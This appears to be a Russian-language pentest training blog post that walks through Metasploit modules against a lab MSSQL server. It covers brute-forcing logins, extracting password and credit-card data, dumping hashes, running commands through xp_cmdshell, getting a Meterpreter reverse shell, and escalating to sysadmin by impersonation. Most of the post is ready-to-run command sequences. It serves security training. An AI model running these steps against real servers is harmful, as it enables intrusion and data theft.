Pentest обучение
October 6

Взлом MSSQL.

В этой статье мы узнаем, как использовать Metasploit для эксплуатации MSSQL. Мы рассмотрим возможности Metasploit, от поиска MSSQL сервера в сети, до извлечения конфиденциальной информации из базы данных и получения контроля над системой.

Сбор информации и перечисление

При тестировании MSSQL серверов, в удаленной или локальной сети, наша первая задача — найти сервер в сети. Для этого мы будем использовать следующий модуль в Metasploit:

use auxiliary/scanner/mssql/mssql_ping
set rhosts 192.168.1.1/24
exploit

Мы нашли сервер, поэтому нашим следующим шагом будет получение учетных данных сервера. Для этого мы применим атаку по словарю:

use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.1.3
set user_file /root/users.txt
set verbose false
exploit

И вы можете видеть на изображении выше, у нас есть валидные учетные данные.

Получение версии MSSQL

Мы также можем получить всю информацию о сервере MSSQL и его версии:

use auxiliary/admin/mssql/mssql_sql
set rhosts 192.168.1.3
set username lowprwiv
set password Password@1
exploit

Давайте теперь изучим сервер и посмотрим, какую информацию мы можем получить. И для этого мы будем использовать следующий модуль:

use auxiliary/admin/mssql/mssql_enum
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit

В результате вы можете видеть, какие разрешения доступны, какие есть базы данных и прочую полезную информацию.

Перечисление пользователей SQL

Мы также можем получить список всех пользователей.

use auxiliary/admin/mssql/mssql_enum_sql_login
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit

Извлечение базы данных

Теперь давайте извлечем содержимое базы данных с помощью Metasploit.

use auxiliary/admin/mssql/mssql_findandsampledata
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
set sample_size 4
set keywords FirstName|passw|credit
exploit

Таким образом, использование вышеперечисленного модуля вернет нам необходимое содержимое базы данных. Например, данные, которые мы извлекли, содержат информацию о хранящихся кредитных картах пользователей.

SchemaDump

Извлечение схемы сервера:

use auxiliary/scanner/mssql/mssql_schemadump
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit

Hashdump

Наш следующий модуль используется для выгрузки хешей пользователей с сервера. Чтобы использовать этот модуль, введите:

use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 192.168.1.149
set username sa
set password Password@1
expoit

Выполнение команд (xp_cmdshell)

Теперь давайте попробуем получить сеанс meterpreter на сервере, эксплуатируя xpcmdshell с помощью:

use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit

Как видно на изображении выше, эксплойт пытается включить xp_cmdshell для получения нашей сессии. Как только xp_cmdshell успешно включится, у нас будет сессия meterpreter, как показано на изображении ниже:

MSSQl_exec

Теперь, если мы хотим выполнить команду на сервере, мы можем сделать это удаленно с помощью:

use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
set cmd "net user"
exploit

CLR Assembely

Следующий эксплойт поможет воспользоваться интеграцией CLR. Этот эксплойт позволит активировать интеграцию CLR, а также включит свойство доверительной базы данных. После того как эксплойт предоставит вам сессию, он восстановит все настройки в их первоначальное состояние. Чтобы использовать этот эксплойт, введите:

use exploit/windows/mssql/mssql_clr_payload
set payload windows/x64/meterpreter/reverse_tcp
set username lowpriv
set password Password@1
exploit

Повышение привилегий

Когда у нас есть учетные данные пользователя, мы можем использовать следующий эксплойт для повышения привилегий нашего пользователя. Этот эксплойт будет манипулировать свойством доверительной базы данных и предоставит вам все необходимые привилегии.

use auxiliary/admin/mssql/mssql_escalate_dbowner
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit

Impersonation

Еще один метод получения привилегий — это олицетворение другого пользователя. И следующий эксплойт поможет нам сделать именно это. н позволит нашему пользователю выдавать себя за других пользователей для получения привилегий системного администратора. Чтобы использовать этот эксплойт, воспользуйтесь следующим набором команд:

use auxiliary/admin/mssql/mssql_escalate_execute_as
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit

Пользователь sa является членом sysadmin, и с помощью вышеуказанного эксплойта lowpriv теперь тоже стал системным администратором, так как он олицетворил пользователя sa.

Metasploit — это один из лучших инструментов для тестирования безопасности MSSQL-серверов, так как он предлагает много различных способов сканирования и эксплуатации.

Life-Hack Media:

Life-Hack - Жизнь-Взлом

Новости Кибербеза

Курсы по программированию

Юмор